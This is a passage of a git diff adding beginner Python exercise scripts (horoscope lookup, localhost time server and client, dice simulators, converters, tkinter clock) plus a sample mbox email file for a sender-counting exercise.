int(your_birth_day) >= 20) or ( + int(your_birth_month) == 2 and int(your_birth_day) <= 17 + ): + sign = "Aquarium" + elif (int(your_birth_month) == 2 and int(your_birth_day) >= 18) or ( + int(your_birth_month) == 3 and int(your_birth_day) <= 19 + ): + sign = "Pices" + elif (int(your_birth_month) == 3 and int(your_birth_day) >= 20) or ( + int(your_birth_month) == 4 and int(your_birth_day) <= 19 + ): + sign = "Aries" + elif (int(your_birth_month) == 4 and int(your_birth_day) >= 20) or ( + int(your_birth_month) == 5 and int(your_birth_day) <= 20 + ): + sign = "Taurus" + elif (int(your_birth_month) == 5 and int(your_birth_day) >= 21) or ( + int(your_birth_month) == 6 and int(your_birth_day) <= 20 + ): + sign = "Gemini" + elif (int(your_birth_month) == 6 and int(your_birth_day) >= 21) or ( + int(your_birth_month) == 7 and int(your_birth_day) <= 22 + ): + sign = "Cancer" + elif (int(your_birth_month) == 7 and int(your_birth_day) >= 23) or ( + int(your_birth_month) == 8 and int(your_birth_day) <= 22 + ): + sign = "Leo" + elif (int(your_birth_month) == 8 and int(your_birth_day) >= 23) or ( + int(your_birth_month) == 9 and int(your_birth_day) <= 22 + ): + sign = "Virgo" + elif (int(your_birth_month) == 9 and int(your_birth_day) >= 23) or ( + int(your_birth_month) == 10 and int(your_birth_day) <= 22 + ): + sign = "Libra" + elif (int(your_birth_month) == 10 and int(your_birth_day) >= 23) or ( + int(your_birth_month) == 11 and int(your_birth_day) <= 21 + ): + sign = "Scorpio" + elif (int(your_birth_month) == 11 and int(your_birth_day) >= 22) or ( + int(your_birth_month) == 12 and int(your_birth_day) <= 21 + ): + sign = "Sagittarius" + + return sign + + +def horoscope(zodiac_sign: int, day: str) -> str: + url = ( + "https://www.horoscope.com/us/horoscopes/general/" + f"horoscope-general-daily-{day}.aspx?sign={zodiac_sign}" + ) + soup = BeautifulSoup(requests.get(url).content, "html.parser") + return soup.find("div", class_="main-horoscope").p.text + + +if __name__ == "__main__": + print("Daily Horoscope. \n") + print( + "enter your Zodiac sign number:\n", + "1. Aries\n", + "2. Taurus\n", + "3. Gemini\n", + "4. Cancer\n", + "5. Leo\n", + "6. Virgo\n", + "7. Libra\n", + "8. Scorpio\n", + "9. Sagittarius\n", + "10. Capricorn\n", + "11. Aquarius\n", + "12. Pisces\n", + "\nor if you're not sure about you sign, type 'calculate'", + ) + zodiac_sign = input("number> ") + if zodiac_sign != "calculate": + print("choose some day:\n", "yesterday\n", "today\n", "tomorrow\n") + day = input("enter the day> ") + horoscope_text = horoscope(zodiac_sign, day) + print(horoscope_text) + else: + print("\nOk, don't worry. Soon you'll get it just pass this tiny quiz") + print("\nCongratulations! you are defenetly", check_sign()) diff --git a/date-timeclient.py b/date-timeclient.py new file mode 100644 index 00000000000..1e6f4c7b914 --- /dev/null +++ b/date-timeclient.py @@ -0,0 +1,7 @@ +import socket + +soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +soc.connect((socket.gethostname(), 2905)) +recmsg = soc.recv(1024) +soc.close() +print("The time got from the server is %s" % recmsg.decode("ascii")) diff --git a/date-timeserver.py b/date-timeserver.py new file mode 100644 index 00000000000..5cacec71d1c --- /dev/null +++ b/date-timeserver.py @@ -0,0 +1,13 @@ +import socket +import time + +soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +soc.bind((socket.gethostname(), 2905)) +soc.listen(5) +while True: + clientsocket, addr = soc.accept() + + print("estavlishes a connection from %s" % str(addr)) + currentTime = time.ctime(time.time()) + "\r\n" + clientsocket.send(currentTime.encode("ascii")) + clientsocket.close() diff --git a/days_from_date.py b/days_from_date.py new file mode 100644 index 00000000000..61f09cc81fe --- /dev/null +++ b/days_from_date.py @@ -0,0 +1,57 @@ +import re # regular expressions +import calendar # module of python to provide useful fucntions related to calendar +import datetime # module of python to get the date and time +import tkinter as tk + +root = tk.Tk() +root.geometry("400x250+50+50") +user_input1 = tk.StringVar() + + +def process_date(user_input): + user_input = re.sub(r"/", " ", user_input) # substitute / with space + user_input = re.sub(r"-", " ", user_input) # substitute - with space + return user_input + + +def find_day(date): + born = ( + datetime.datetime.strptime(date, "%d %m %Y").weekday() + ) # this statement returns an integer corresponding to the day of the week + return calendar.day_name[ + born + ] # this statement returns the corresponding day name to the integer generated in the previous statement + + +# To get the input from the user +# User may type 1/2/1999 or 1-2-1999 +# To overcome those we have to process user input and make it standard to accept as defined by calender and time module +def printt(): + user_input = user_input1.get() + date = process_date(user_input) + c = "Day on " + user_input + " is " + find_day(date) + label2 = tk.Label(root, text=c, font=("Times new roman", 20), fg="black").place( + x=20, y=200 + ) + + +lbl = tk.Label(root, text="Date --", font=("Ubuntu", 20), fg="black").place( + x=0, y=0.1, height=60, width=150 +) +lbl1 = tk.Label(root, text="(DD/MM/YYYY)", font=("Ubuntu", 15), fg="Gray").place( + x=120, y=0.1, height=60, width=150 +) +but = tk.Button( + root, + text="Check", + command=printt, + cursor="hand2", + font=("Times new roman", 40), + fg="white", + bg="black", +).place(x=50, y=130, height=50, width=300) +Date = tk.Entry( + root, font=("Times new roman", 20), textvariable=user_input1, bg="white", fg="black" +).place(x=30, y=50, height=40, width=340) + +root.mainloop() diff --git a/dec_to_hex.py b/dec_to_hex.py new file mode 100644 index 00000000000..adce0ab816e --- /dev/null +++ b/dec_to_hex.py @@ -0,0 +1,2 @@ +dec_num = input("Enter the decimal number\n") +print(hex(int(dec_num))) diff --git a/decimal to binary.py b/decimal to binary.py new file mode 100644 index 00000000000..03619b074c2 --- /dev/null +++ b/decimal to binary.py @@ -0,0 +1,12 @@ +def decimalToBinary(num): + """This function converts decimal number + to binary and prints it""" + if num > 1: + decimalToBinary(num // 2) + print(num % 2, end="") + + +# decimal number +number = int(input("Enter any decimal number: ")) + +decimalToBinary(number) diff --git a/depreciated_programs/corona_cases.py b/depreciated_programs/corona_cases.py new file mode 100644 index 00000000000..e93e7cd99f9 --- /dev/null +++ b/depreciated_programs/corona_cases.py @@ -0,0 +1,97 @@ +import sys + +try: + import requests +except ImportError: + print("Please Install Requests Module With Command 'pip install requests'") + sys.exit(1) +from time import sleep + +url = "https://api.covid19api.com/summary" +visit = requests.get(url).json() + +NewConfirmed = visit["Global"]["NewConfirmed"] +TotalConfirmed = visit["Global"]["TotalConfirmed"] +NewDeaths = visit["Global"]["NewDeaths"] +TotalDeaths = visit["Global"]["TotalDeaths"] +NewRecovered = visit["Global"]["NewRecovered"] +TotalRecovered = visit["Global"]["TotalRecovered"] + +india = visit["Countries"] +name = india[76]["Country"] +indiaconfirmed = india[76]["NewConfirmed"] +indiatotal = india[76]["TotalConfirmed"] +indiaDeaths = india[76]["NewDeaths"] +deathstotal = india[76]["TotalDeaths"] +indianewr = india[76]["NewRecovered"] +totalre = india[76]["TotalRecovered"] +DateUpdate = india[76]["Date"] + + +def world(): + world = f""" +▀▀█▀▀ █▀▀█ ▀▀█▀▀ █▀▀█ █░░   ▒█▀▀█ █▀▀█ █▀▀ █▀▀ █▀▀   ▀█▀ █▀▀▄   ▒█░░▒█ █▀▀█ █▀▀█ █░░ █▀▀▄ +░▒█░░ █░░█ ░░█░░ █▄▄█ █░░   ▒█░░░ █▄▄█ ▀▀█ █▀▀ ▀▀█   ▒█░ █░░█   ▒█▒█▒█ █░░█ █▄▄▀ █░░ █░░█ +░▒█░░ ▀▀▀▀ ░░▀░░ ▀░░▀ ▀▀▀   ▒█▄▄█ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀   ▄█▄ ▀░░▀   ▒█▄▀▄█ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀░\n +New Confirmed Cases :- {NewConfirmed} +Total Confirmed Cases :- {TotalConfirmed} +New Deaths :- {NewDeaths} +Total Deaths :- {TotalDeaths} +New Recovered :- {NewRecovered} +Total Recovered :- {TotalRecovered} + """ + print(world) + + +def india(): + cases = f""" +██╗███╗░░██╗██████╗░██╗░█████╗░ +██║████╗░██║██╔══██╗██║██╔══██╗ +██║██╔██╗██║██║░░██║██║███████║ +██║██║╚████║██║░░██║██║██╔══██║ +██║██║░╚███║██████╔╝██║██║░░██║ +╚═╝╚═╝░░╚══╝╚═════╝░╚═╝╚═╝░░╚═╝ + +Country Name :- {name} +New Confirmed Cases :- {indiaonfirmed} +Total Confirmed Cases :- {indiatotal} +New Deaths :- {indiaDeaths} +Total Deaths :- {deathstotal} +New Recovered :- {indianewr} +Total Recovered :- {totalre} +Information Till :- {DateUpdate} +""" + print(cases) + + +print( + """ +░█████╗░░█████╗░██████╗░░█████╗░███╗░░██╗░█████╗░  ██╗░░░██╗██╗██████╗░██╗░░░██╗░██████╗ +██╔══██╗██╔══██╗██╔══██╗██╔══██╗████╗░██║██╔══██╗  ██║░░░██║██║██╔══██╗██║░░░██║██╔════╝ +██║░░╚═╝██║░░██║██████╔╝██║░░██║██╔██╗██║███████║  ╚██╗░██╔╝██║██████╔╝██║░░░██║╚█████╗░ +██║░░██╗██║░░██║██╔══██╗██║░░██║██║╚████║██╔══██║  ░╚████╔╝░██║██╔══██╗██║░░░██║░╚═══██╗ +╚█████╔╝╚█████╔╝██║░░██║╚█████╔╝██║░╚███║██║░░██║  ░░╚██╔╝░░██║██║░░██║╚██████╔╝██████╔╝ +░╚════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝  ░░░╚═╝░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░""" +) +print("\nDeveloped By @TheDarkW3b") + + +def choices(): + print("\n1 - To Know Corona Virus Update Across World") + print("\n2 - To Know Corona Virus Update In India") + choice = input("Enter 1 Or 2 :- ") + + if choice == "1": + world() + sleep(1) + choices() + elif choice == "2": + india() + sleep(1) + choices() + else: + print("\nYou Have Entered Something Wrong, Please Enter Again") + choices() + + +choices() diff --git a/dialogs/README.md b/dialogs/README.md new file mode 100644 index 00000000000..0e925a28590 --- /dev/null +++ b/dialogs/README.md @@ -0,0 +1 @@ +[Quo](https://pypi.org/project/quo) ships with a high level API for displaying dialog boxes to the user for informational purposes, or get input from the user. diff --git a/dialogs/messagebox.py b/dialogs/messagebox.py new file mode 100644 index 00000000000..2a57cb7d1b4 --- /dev/null +++ b/dialogs/messagebox.py @@ -0,0 +1,5 @@ +# Use the MessageBox() function to display a simple message box. + +from quo.dialog import MessageBox + +MessageBox(title="Example dialog window", text="Do you want to continue?") diff --git a/dialogs/requirements.txt b/dialogs/requirements.txt new file mode 100644 index 00000000000..51d89fc61fc --- /dev/null +++ b/dialogs/requirements.txt @@ -0,0 +1 @@ +quo>=2022.4 diff --git a/diamond.py b/diamond.py new file mode 100644 index 00000000000..1ef6ea55d14 --- /dev/null +++ b/diamond.py @@ -0,0 +1,17 @@ +def draw_diamond(n): + if n % 2 != 0: + k = 1 + while k <= n: + print(" " * int((n - k) / 2) + "*" * k + " " * int((n - k) / 2)) + k += 2 + + j = 1 + while (n - 2 * j) >= 1: + print(" " * j + "*" * (n - 2 * j) + " " * (j)) + j += 1 + else: + print("Not an odd number. Can't draw a diamond :(") + + +n = int(input("Enter an odd number: ")) +draw_diamond(n) diff --git a/dice.py b/dice.py new file mode 100644 index 00000000000..a2e5c12f99b --- /dev/null +++ b/dice.py @@ -0,0 +1,45 @@ +# Script Name : dice.py +# Author : Craig Richards +# Created : 05th February 2017 +# Last Modified : +# Version : 1.0 + +# Modifications : + +# Description : This will randomly select two numbers, +# like throwing dice, you can change the sides of the dice if you wish + +import random + + +class Die(object): + # A dice has a feature of number about how many sides it has when it's + # established,like 6. + def __init__(self): + self.sides = 6 + + """because a dice contains at least 4 planes. + So use this method to give it a judgement when you need + to change the instance attributes. + """ + + def set_sides(self, sides_change): + if sides_change >= 4: + if sides_change != 6: + print("change sides from 6 to ", sides_change, " !") + else: + # added else clause for printing a message that sides set to 6 + print("sides set to 6") + self.sides = sides_change + else: + print("wrong sides! sides set to 6") + + def roll(self): + return random.randint(1, self.sides) + + +d = Die() +d1 = Die() +d.set_sides(4) +d1.set_sides(4) +print(d.roll(), d1.roll()) diff --git a/diceV2_dynamic.py b/diceV2_dynamic.py new file mode 100644 index 00000000000..a0dcbcfbc61 --- /dev/null +++ b/diceV2_dynamic.py @@ -0,0 +1,99 @@ +import random + + +# Class that that holds dice-functions. You can set the amount of sides and roll with each dice object. +class Dice: + def __init__(self): + self.sideCount = 6 + + def setSides(self, sides): + if sides > 3: + self.sides = sides + else: + print( + "This absolutely shouldn't ever happen. The programmer sucks or someone " + "has tweaked with code they weren't supposed to touch!" + ) + + def roll(self): + return random.randint(1, self.sides) + + +# ===================================================================== + + +# Checks to make sure that the input is actually an integer. +# This implementation can be improved greatly of course. +def checkInput(sides): + try: + if int(sides) != 0: + if ( + float(sides) % int(sides) == 0 + ): # excludes the possibility of inputted floats being rounded. + return int(sides) + else: + return int(sides) + + except ValueError: + print("Invalid input!") + return None + + +# Picks a number that is at least of a certain size. +# That means in this program, the dices being possible to use in 3 dimensional space. +def pickNumber(item, question_string, lower_limit): + while True: + item = input(question_string) + item = checkInput(item) + if type(item) == int: + if item <= lower_limit: + print("Input too low!") + continue + else: + return item + + +# Main-function of the program that sets up the dices for the user as they want them. +def getDices(): + dices = [] + sides = None + diceAmount = None + sideLowerLimit = 3 # Do Not Touch! + diceLowerLimit = 1 # Do Not Touch! + + sides = pickNumber(sides, "How many sides will the dices have?: ", sideLowerLimit) + diceAmount = pickNumber( + diceAmount, "How many dices will do you want?: ", diceLowerLimit + ) + + for i in range(0, diceAmount): + d = Dice() + d.setSides(sides) + dices.append(d) + + return dices + + +# ================================================================= +# Output section. + + +def output(): + dices = getDices() + input("Do you wanna roll? press enter") + cont = True + while cont: + rollOutput = "" + for dice in dices: + rollOutput = rollOutput + str(dice.roll()) + ", " + rollOutput = rollOutput[:-2] + print(rollOutput) + + print("do you want to roll again?") + ans = input("press enter to continue, and [exit] to exit") + if ans == "exit": + cont = False + + +if __name__ == "__main__": + output() diff --git a/dice_rolling_simulator.py b/dice_rolling_simulator.py new file mode 100644 index 00000000000..fd7b5701e92 --- /dev/null +++ b/dice_rolling_simulator.py @@ -0,0 +1,96 @@ +# Made on May 27th, 2017 +# Made by SlimxShadyx +# Editted by CaptMcTavish, June 17th, 2017 +# Comments edits by SlimxShadyx, August 11th, 2017 + +# Dice Rolling Simulator + +import random + +try: + input = raw_input +except NameError: + pass + +global user_exit_checker +user_exit_checker = "exit" + + +# Our start function (What the user will first see when starting the program) + + +def start(): + print("Welcome to dice rolling simulator: \nPress Enter to proceed") + input(">") + + # Starting our result function (The dice picker function) + result() + + +# Our exit function (What the user will see when choosing to exit the program) +def bye(): + print("Thanks for using the Dice Rolling Simulator! Have a great day! =)") + + +# Result function which is our dice chooser function +def result(): + # user_dice_chooser No idea how this got in here, thanks EroMonsterSanji. + + print("\r\nGreat! Begin by choosing a die! [6] [8] [12]?\r\n") + user_dice_chooser = input(">") + + user_dice_chooser = int(user_dice_chooser) + + # Below is the references to our dice functions (Below), when the user chooses a dice. + if user_dice_chooser == 6: + dice6() + + elif user_dice_chooser == 8: + dice8() + + elif user_dice_chooser == 12: + dice12() + + # If the user doesn't choose an applicable option + else: + print("\r\nPlease choose one of the applicable options!\r\n") + result() + + +# Below are our dice functions. +def dice6(): + # Getting a random number between 1 and 6 and printing it. + dice_6 = random.randint(1, 6) + print("\r\nYou rolled a " + str(dice_6) + "!\r\n") + + user_exit_checker() + + +def dice8(): + dice_8 = random.randint(1, 8) + print("\r\nYou rolled a " + str(dice_8) + "!") + + user_exit_checker() + + +def dice12(): + dice_12 = random.randint(1, 12) + print("\r\nYou rolled a " + str(dice_12) + "!") + + user_exit_checker() + + +def user_exit_checker(): + # Checking if the user would like to roll another die, or to exit the program + user_exit_checker_raw = input( + "\r\nIf you want to roll another die, type [roll]. To exit, type [exit].\r\n?>" + ) + user_exit_checker = user_exit_checker_raw.lower() + if user_exit_checker == "roll": + start() + else: + bye() + + +# Actually starting the program now. +start() diff --git a/diction.py b/diction.py new file mode 100644 index 00000000000..e4757e3db0e --- /dev/null +++ b/diction.py @@ -0,0 +1,62 @@ +from difflib import get_close_matches +import pyttsx3 +import json +import speech_recognition as sr + +data = json.load(open("data.json")) +engine = pyttsx3.init() +voices = engine.getProperty("voices") +engine.setProperty("voice", voices[0].id) + + +def speak(audio): + engine.say(audio) + engine.runAndWait() + + +def takeCommand(): + r = sr.Recognizer() + with sr.Microphone() as source: + print("Listening...") + r.pause_threshold = 1 + r.energy_threshold = 494 + r.adjust_for_ambient_noise(source, duration=1.5) + audio = r.listen(source) + + try: + print("Recognizing..") + query = r.recognize_google(audio, language="en-in") + print(f"User said: {query}\n") + + except Exception: + # print(e) + + print("Say that again please...") + return "None" + return query + + +def translate(word): + word = word.lower() + if word in data: + speak("Here is what I found in dictionary..") + d = data[word] + d = "".join(str(e) for e in d) + speak(d) + elif len(get_close_matches(word, data.keys())) > 0: + x = get_close_matches(word, data.keys())[0] + speak("Did you mean " + x + " instead, respond with Yes or No.") + ans = takeCommand().lower() + if "yes" in ans: + speak("ok " + "It means.." + data[x]) + elif "no" in ans: + speak("Word doesn't exist. Please make sure you spelled it correctly.") + else: + speak("We didn't understand your entry.") + + else: + speak("Word doesn't exist. Please double check it.") + + +if __name__ == "__main__": + translate() diff --git a/digital_clock.py b/digital_clock.py new file mode 100644 index 00000000000..98b7e6fc00e --- /dev/null +++ b/digital_clock.py @@ -0,0 +1,69 @@ +# master +# importing whole module +# use Tkinter to show a digital clock +# using python code base + +import time + +# because we need digital clock , so we are importing the time library. +# master +from tkinter import * +from tkinter.ttk import * + +# importing strftime function to +# retrieve system's time +from time import strftime + +# creating tkinter window +root = Tk() +root.title("Clock") + +# master + + +# This function is used to +# display time on the label +def def_time(): + string = strftime("%H:%M:%S %p") + lbl.config(text=string) + lbl.after(1000, time) + + +# Styling the label widget so that clock +# will look more attractive +lbl = Label( + root, + font=("calibri", 40, "bold", "italic"), + background="Black", + foreground="Yellow", +) + +# Placing clock at the centre +# of the tkinter window +lbl.pack(anchor="center") +def_time() + +mainloop() +# ======= +label = Label(root, font=("Arial", 30, "bold"), bg="black", fg="white", bd=30) +label.grid(row=0, column=1) + + +# function to declare the tkniter clock +def dig_clock(): + text_input = time.strftime("%H : %M : %S") # get the current local time from the PC + + label.config(text=text_input) + + # calls itself every 200 milliseconds + # to update the time display as needed + # could use >200 ms, but display gets jerky + + label.after(200, dig_clock) + + +# calling the function +dig_clock() + +root.mainloop() +# master diff --git a/dir_test.py b/dir_test.py index 0cf9d5aa6b2..992d5924a88 100644 --- a/dir_test.py +++ b/dir_test.py @@ -1,12 +1,41 @@ # Script Name : dir_test.py # Author : Craig Richards # Created : 29th November 2011 -# Last Modified : +# Last Modified : by- Joshua Covington 05 Oct 2020 # Version : 1.0 -# Modifications : +# Modifications : -# Description : Tests to see if the directory testdir exists, if not it will create the directory for you +# Description : Tests to see if the directory testdir exists, if not it will create the directory for you if you want it created. +from __future__ import print_function -import os # Import the OS module -if not os.path.exists('testdir'): # Check to see if it exists - os.makedirs('testdir') # Create the directory +import os + +try: + input = raw_input() +except NameError: + pass + + +def main(): + CheckDir = input("Enter the name of the directory to check : ") + print() + + if os.path.exists(CheckDir): # Checks if the dir exists + print("The directory exists") + else: + print("No directory found for " + CheckDir) # Output if no directory + print() + option = input("Would you like this directory create? y/n: ") + if option == "n": + print("Goodbye") + exit() + if option == "y": + os.makedirs(CheckDir) # Creates a new dir for the given name + print("Directory created for " + CheckDir) + else: + print("Not an option. Exiting") + exit() + + +if __name__ == "__main__": + main() diff --git a/divisors_of_a_number.py b/divisors_of_a_number.py new file mode 100644 index 00000000000..55ffd18a753 --- /dev/null +++ b/divisors_of_a_number.py @@ -0,0 +1,20 @@ +a = 0 +while a <= 0: + number_to_divide = input("choose the number to divide -->") + try: + a = int(number_to_divide) + except ValueError: + a = 0 + if a <= 0: + print("choose a number grether than 0") +list_number_divided = [] + +for number in range(1, a + 1): + b = a % number + if b == 0: + list_number_divided.append(number) +print("\nthe number " + number_to_divide + " can be divided by:") +for item in list_number_divided: + print(f"{item}") +if len(list_number_divided) <= 2: + print(number_to_divide + " is a prime number") diff --git a/email id dictionary/README.md b/email id dictionary/README.md new file mode 100644 index 00000000000..0ea1bc885e6 --- /dev/null +++ b/email id dictionary/README.md @@ -0,0 +1 @@ +Write a program to read through the mbox-short.txt and figure out who has sent the greatest number of mail messages. The program looks for 'From ' lines and takes the second word of those lines as the person who sent the mail. The program creates a Python dictionary that maps the sender's mail address to a count of the number of times they appear in the file. After the dictionary is produced, the program reads through the dictionary using a maximum loop to find the most prolific committer. \ No newline at end of file diff --git a/email id dictionary/dict1.py b/email id dictionary/dict1.py new file mode 100644 index 00000000000..26c26be8d8d --- /dev/null +++ b/email id dictionary/dict1.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +counts = dict() +mails = list() +fname = input("Enter file name:") +fh = open(fname) +for line in fh: + if not line.startswith("From "): + continue + # if line.startswith('From:'): + # continue + id = line.split() + mail = id[1] + mails.append(mail) + +freq_mail = max(mails, key=mails.count) # To find frequent mail +print(freq_mail, mails.count(freq_mail)) # To find countof frequent mail + + +""" +for x in mails: + counts[x]=counts.get(x,0)+1 +bigmail=None +bigvalue=None +for key,value in counts.items(): + if bigvalue==None or bigvalue +Received: from murder (mail.umich.edu [141.211.14.90]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Sat, 05 Jan 2008 09:14:16 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Sat, 05 Jan 2008 09:14:16 -0500 +Received: from holes.mr.itd.umich.edu (holes.mr.itd.umich.edu [141.211.14.79]) + by flawless.mail.umich.edu () with ESMTP id m05EEFR1013674; + Sat, 5 Jan 2008 09:14:15 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY holes.mr.itd.umich.edu ID 477F90B0.2DB2F.12494 ; + 5 Jan 2008 09:14:10 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 5F919BC2F2; + Sat, 5 Jan 2008 14:10:05 +0000 (GMT) +Message-ID: <200801051412.m05ECIaH010327@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 899 + for ; + Sat, 5 Jan 2008 14:09:50 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id A215243002 + for ; Sat, 5 Jan 2008 14:13:33 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m05ECJVp010329 + for ; Sat, 5 Jan 2008 09:12:19 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m05ECIaH010327 + for source@collab.sakaiproject.org; Sat, 5 Jan 2008 09:12:18 -0500 +Date: Sat, 5 Jan 2008 09:12:18 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to stephen.marquard@uct.ac.za using -f +To: source@collab.sakaiproject.org +From: stephen.marquard@uct.ac.za +Subject: [sakai] svn commit: r39772 - content/branches/sakai_2-5-x/content-impl/impl/src/java/org/sakaiproject/content/impl +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Sat Jan 5 09:14:16 2008 +X-DSPAM-Confidence: 0.8475 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39772 + +Author: stephen.marquard@uct.ac.za +Date: 2008-01-05 09:12:07 -0500 (Sat, 05 Jan 2008) +New Revision: 39772 + +Modified: +content/branches/sakai_2-5-x/content-impl/impl/src/java/org/sakaiproject/content/impl/ContentServiceSqlOracle.java +content/branches/sakai_2-5-x/content-impl/impl/src/java/org/sakaiproject/content/impl/DbContentService.java +Log: +SAK-12501 merge to 2-5-x: r39622, r39624:5, r39632:3 (resolve conflict from differing linebreaks for r39622) + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From louis@media.berkeley.edu Fri Jan 4 18:10:48 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.97]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 18:10:48 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 18:10:48 -0500 +Received: from icestorm.mr.itd.umich.edu (icestorm.mr.itd.umich.edu [141.211.93.149]) + by sleepers.mail.umich.edu () with ESMTP id m04NAbGa029441; + Fri, 4 Jan 2008 18:10:37 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY icestorm.mr.itd.umich.edu ID 477EBCE3.161BB.4320 ; + 4 Jan 2008 18:10:31 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 07969BB706; + Fri, 4 Jan 2008 23:10:33 +0000 (GMT) +Message-ID: <200801042308.m04N8v6O008125@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 710 + for ; + Fri, 4 Jan 2008 23:10:10 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 4BA2F42F57 + for ; Fri, 4 Jan 2008 23:10:10 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04N8vHG008127 + for ; Fri, 4 Jan 2008 18:08:57 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04N8v6O008125 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 18:08:57 -0500 +Date: Fri, 4 Jan 2008 18:08:57 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to louis@media.berkeley.edu using -f +To: source@collab.sakaiproject.org +From: louis@media.berkeley.edu +Subject: [sakai] svn commit: r39771 - in bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src: bundle java/org/sakaiproject/site/tool +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 18:10:48 2008 +X-DSPAM-Confidence: 0.6178 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39771 + +Author: louis@media.berkeley.edu +Date: 2008-01-04 18:08:50 -0500 (Fri, 04 Jan 2008) +New Revision: 39771 + +Modified: +bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src/bundle/sitesetupgeneric.properties +bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src/java/org/sakaiproject/site/tool/SiteAction.java +Log: +BSP-1415 New (Guest) user Notification + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + +From cwen@iupui.edu + +From zqian@umich.edu Fri Jan 4 16:10:39 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.25]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 16:10:39 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 16:10:39 -0500 +Received: from ghostbusters.mr.itd.umich.edu (ghostbusters.mr.itd.umich.edu [141.211.93.144]) + by panther.mail.umich.edu () with ESMTP id m04LAcZw014275; + Fri, 4 Jan 2008 16:10:38 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY ghostbusters.mr.itd.umich.edu ID 477EA0C6.A0214.25480 ; + 4 Jan 2008 16:10:33 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id C48CDBB490; + Fri, 4 Jan 2008 21:10:31 +0000 (GMT) +Message-ID: <200801042109.m04L92hb007923@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 906 + for ; + Fri, 4 Jan 2008 21:10:18 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 7D13042F71 + for ; Fri, 4 Jan 2008 21:10:14 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id 